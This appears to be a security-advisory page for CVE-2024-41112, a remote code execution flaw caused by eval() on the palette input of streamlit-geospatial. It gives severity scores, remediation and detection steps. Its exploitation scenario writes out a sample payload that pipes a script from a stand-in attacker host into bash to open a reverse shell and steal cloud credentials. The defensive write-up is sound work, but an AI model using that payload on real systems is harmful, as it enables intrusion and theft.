CVE-2024-41112 — CRITICAL (CVSS 9.8) AI Security Vulnerability

CISO Take

A CVSS 9.8 unauthenticated RCE in streamlit-geospatial allows any internet-accessible instance to be fully compromised by submitting a crafted palette value. No authentication, no user interaction — one HTTP request yields code execution on the server. If your team runs this app or any Streamlit app with eval() on user input, treat it as actively exploited: patch or take offline immediately.

Risk Assessment

Severity is maximum by every metric: network-accessible, zero privileges, zero user interaction, full C/I/A impact. The eval() pattern on unsanitized input is trivially exploitable — no AI/ML knowledge required, only a basic understanding of Python. Geospatial ML apps are frequently deployed for internal analysts on lightly hardened infrastructure, increasing blast radius. The fix is a single commit and confirmed in the advisory; unpatched instances have no compensating controls short of network isolation.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
streamlit-geospatial	pip	—	No patch
44.4K OpenSSF 7.2 2.8K dependents Pushed 7d ago 8% patched ~0d to patch Full package profile →

Do you use streamlit-geospatial? You're affected.

Severity & Risk

CVSS 3.1

9.8 / 10

EPSS

1.6%

chance of exploitation in 30 days

Higher than 82% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Attack Surface

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

Recommended Action

5 steps

Patch: Update to or beyond commit c4f81d9616d40c60584e36abb15300853a66e489 immediately.
If patching is delayed, restrict access via firewall or VPN — never expose Streamlit apps to the public internet without auth.
Audit all other Streamlit pages and custom apps for eval()/exec() calls on user-controlled input; replace with allowlist validation.
Detection: Search server logs for unusual palette parameter values containing Python keywords (import, os, subprocess, open).
Rotate any secrets (cloud credentials, API keys) stored as env vars on affected hosts as a precaution.

CISA SSVC Assessment

Decision Track*

Exploitation poc

Automatable Yes

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

Classification

Code Execution Framework AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2.4 - AI system security

NIST AI RMF

MANAGE 2.2 - Mechanisms are in place to inventory AI risks

OWASP LLM Top 10

LLM04:2025 - Data and Model Poisoning

Frequently Asked Questions

What is CVE-2024-41112?

A CVSS 9.8 unauthenticated RCE in streamlit-geospatial allows any internet-accessible instance to be fully compromised by submitting a crafted palette value. No authentication, no user interaction — one HTTP request yields code execution on the server. If your team runs this app or any Streamlit app with eval() on user input, treat it as actively exploited: patch or take offline immediately.

Is CVE-2024-41112 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-41112, increasing the risk of exploitation.

How to fix CVE-2024-41112?

1. Patch: Update to or beyond commit c4f81d9616d40c60584e36abb15300853a66e489 immediately. 2. If patching is delayed, restrict access via firewall or VPN — never expose Streamlit apps to the public internet without auth. 3. Audit all other Streamlit pages and custom apps for eval()/exec() calls on user-controlled input; replace with allowlist validation. 4. Detection: Search server logs for unusual palette parameter values containing Python keywords (import, os, subprocess, open). 5. Rotate any secrets (cloud credentials, API keys) stored as env vars on affected hosts as a precaution.

What systems are affected by CVE-2024-41112?

This vulnerability affects the following AI/ML architecture patterns: Streamlit-based ML UIs, geospatial ML pipelines, data science app servers, shared ML platforms.

What is the CVSS score for CVE-2024-41112?

CVE-2024-41112 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.56%.

Technical Details

NVD Description

streamlit-geospatial is a streamlit multipage app for geospatial applications. Prior to commit c4f81d9616d40c60584e36abb15300853a66e489, the palette variable in `pages/1_📷_Timelapse.py` takes user input, which is later used in the `eval()` function on line 380, leading to remote code execution. Commit c4f81d9616d40c60584e36abb15300853a66e489 fixes this issue.

Exploitation Scenario

Attacker discovers a publicly accessible streamlit-geospatial instance via Shodan or a Google dork for Streamlit on common ports (8501, 8080). They navigate to the Timelapse page and submit a crafted palette parameter containing Python code — e.g., __import__('os').system('curl attacker.com/shell.sh | bash'). The server's eval() executes the payload, establishing a reverse shell. From there, the attacker extracts AWS/GCP credentials from the environment, exfiltrates geospatial datasets and any co-located ML model artifacts, and pivots to internal services reachable from the data-science network segment.